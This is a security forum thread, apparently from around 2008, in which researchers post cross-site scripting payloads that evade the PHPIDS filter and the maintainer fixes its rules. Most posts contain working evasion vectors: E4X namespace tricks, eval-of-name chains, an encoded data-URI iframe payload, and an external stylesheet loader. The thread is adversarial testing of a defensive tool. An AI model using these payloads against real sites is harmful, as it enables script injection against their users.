Quote

@Reiners: What characters are allowed fom MSSQL col names? \w and - or more?

only \w



Edited 1 time(s). Last edit at 09/01/2008 11:54AM by Reiners.

Thx - what about multiple rectangular brackets - like SELECT[[foo]]FROM[[[bar]]] ?

ah I didnt thought about that, but no, not possible. also you cant use whitespaces or other prefixes inside of the brackets, because everything is considered as column name.

Phew :) Thanks for testing!

This is just beautiful :)
Check out the centrifuge evasion.

http://www.businessinfo.co.uk/labs/phpids/phpids3.html

default xml namespace=toolbar,b=1&&this.atob
default xml namespace=toolbar,e2=b('ZXZhbA')
default xml namespace=toolbar,e=this[toolbar,e2]
default xml namespace=toolbar,y=1&&name
default xml namespace=toolbar
default xml namespace=e(y)

------------------------------------------------------------------------------------------------------------
"People who say it cannot be done should not interrupt those who are doing it.";
labs : [www.businessinfo.co.uk]
blog : [www.thespanner.co.uk]
Hackvertor : [hackvertor.co.uk]

stealing Gareth's trick... http://p42.us/phpids/72.html

which injects this:

default xml namespace=toolbar,x='loca'
default xml namespace=toolbar,this[x+'tion']=name

yeah, I'll buy you that beer. You'll join RSnake in the exclusive group of people I've ever bought a beer for :)

Nice :D

------------------------------------------------------------------------------------------------------------
"People who say it cannot be done should not interrupt those who are doing it.";
labs : [www.businessinfo.co.uk]
blog : [www.thespanner.co.uk]
Hackvertor : [hackvertor.co.uk]

Hi,

wow - this is a beauty indeed! Bloody E4X :)

I bet there's more - I have to get more involved with E4X as soon as I find some time.

Greetings and thx|congrats ;)
.mario

delete~typeof~typeof~typeof~typeof~typeof~typeof~alert(1)

Here's a way to execute any payload:-
delete~typeof~typeof~typeof~typeof~typeof~typeof~eval(1&&name)

------------------------------------------------------------------------------------------------------------
"People who say it cannot be done should not interrupt those who are doing it.";
labs : [www.businessinfo.co.uk]
blog : [www.thespanner.co.uk]
Hackvertor : [hackvertor.co.uk]



Edited 1 time(s). Last edit at 09/22/2008 03:03AM by Gareth Heyes.

nice one, gareth!

Nice - indeed. I forgot to answer here after we chatted ;)

What're you talking about, catholic people get to watch porn

as long as it's two married people having sex in the videos

heh.. reminds me of a time when my ex-wife and I went to a store to buy a new bed.. the lady came up and asked "are you married", I answered "yes, but not to each other!".. she quickly walked away.. so porn between two people that are married is not a bad thing.. unless they're married to each other! ;)

--thrill

---

It is not the degrees you hold, but the mind you possess. - thrill

Interesting, I somehow managed to post this in the wrong thread in the wrong forum

lol and thrill also replied

------------------------------------------------------------------------------------------------------------
"People who say it cannot be done should not interrupt those who are doing it.";
labs : [www.businessinfo.co.uk]
blog : [www.thespanner.co.uk]
Hackvertor : [hackvertor.co.uk]

hm this little one slipped through by time:

'<~' http://demo.php-ids.org/?test=%27%3C%7E%27

grüße!



Edited 1 time(s). Last edit at 10/18/2008 01:02PM by Reiners.

A bug indeed - thanks for pointing out! fixed.

Greetings,
.mario

data:text/html,<iframe%20src="http://demo.phpids.org?test=%25C2%25AA%25C2%25AA%253D1%2526%2526name%250A%25C2%25AA%253D1%2526%2526window.eval%252C1%250A%25C2%25AA(%25C2%25AA%25C2%25AA)"%20name="alert(1)"></iframe>

------------------------------------------------------------------------------------------------------------
"People who say it cannot be done should not interrupt those who are doing it.";
labs : [www.businessinfo.co.uk]
blog : [www.thespanner.co.uk]
Hackvertor : [hackvertor.co.uk]

Uaaah - 3am. Coming home - being drunq - finding this and asking one self existential questions - fixing it - all good ;)

Again - an incredible circumvention. Wow. Man Gareth - too bad you can't come to Portugal!

don't drink and regex

injection is essentially the same as Gareth's, I just recoded to eliminate the &&'s:

y=1+name
x=0?[]:window.eval
x(y)

For that matter, don't drink and internet!!!!!!!!!!

--thrill

---

It is not the degrees you hold, but the mind you possess. - thrill

shortened a bit to:

x=this.eval
x(0?$:name+1)

Edited 1 time(s). Last edit at 10/25/2008 11:32PM by thornmaker.

22 pages and still going strong, that doesn't really bode well for IDS systems does it?

----------------------------------------------------------
Don't forget our IRC: irc://irc.irchighway.net/#slackers
[kuza55.blogspot.com]

@thornmaker

Nice variations :)

@mario

Shame I couldn't go I'd like to :(

@kuza55

Any IDS system can be broken eventually, the trick is creating the least insecure one :)

------------------------------------------------------------------------------------------------------------
"People who say it cannot be done should not interrupt those who are doing it.";
labs : [www.businessinfo.co.uk]
blog : [www.thespanner.co.uk]
Hackvertor : [hackvertor.co.uk]

Nice ones - thx!!! Gareth's injection btw uncovered a nasty bug in one of the converter rules when dealing with RTL/LTR characters.

@thrill: Sometimes you gotta do what you gotta do.

@kuza55: About 461K bug entries for Firefox - that doesn't really bode well for browsers does it? (It really doesn't but I am sure you are getting my point)

You gotta love expressions :)

IE only vector:-
document.createStyleSheet('http://businessinfo.co.uk/labs/xss/xss.css')

------------------------------------------------------------------------------------------------------------
"People who say it cannot be done should not interrupt those who are doing it.";
labs : [www.businessinfo.co.uk]
blog : [www.thespanner.co.uk]
Hackvertor : [hackvertor.co.uk]

I'm surprised these aren't picked up by the centrifuge. Code for this one is:
y='nam'
x=this.eval
x(x(y+ ('e')+new Array)+y)

@thornmaker

Nice :D

------------------------------------------------------------------------------------------------------------
"People who say it cannot be done should not interrupt those who are doing it.";
labs : [www.businessinfo.co.uk]
blog : [www.thespanner.co.uk]
Hackvertor : [hackvertor.co.uk]

Lame excuse - I know - but there is something wrong with our server.

I already contacted the admins. The vector generates an impact on my local demo and with the unit tests - but not on the remote box. I tried some live debugging but couldn't find anything besides a very weird acting regex. I applied some (hot)-fixes to the rules but haven't found the main issue yet.

.mario Wrote:
-------------------------------------------------------
> @kuza55: About 461K bug entries for Firefox - that
> doesn't really bode well for browsers does it? (It
> really doesn't but I am sure you are getting my
> point)

No, it doesn't.

However, I've been subscribed to the firefox new bugs list in my rss reader for the last week, and a lot of the bugs are feature requests, or bugs which have zero security impact, or may have a crash if the user does a bunch of actions.

Contrast this with an IDS where almost any bug is a security issue.

----------------------------------------------------------
Don't forget our IRC: irc://irc.irchighway.net/#slackers
[kuza55.blogspot.com]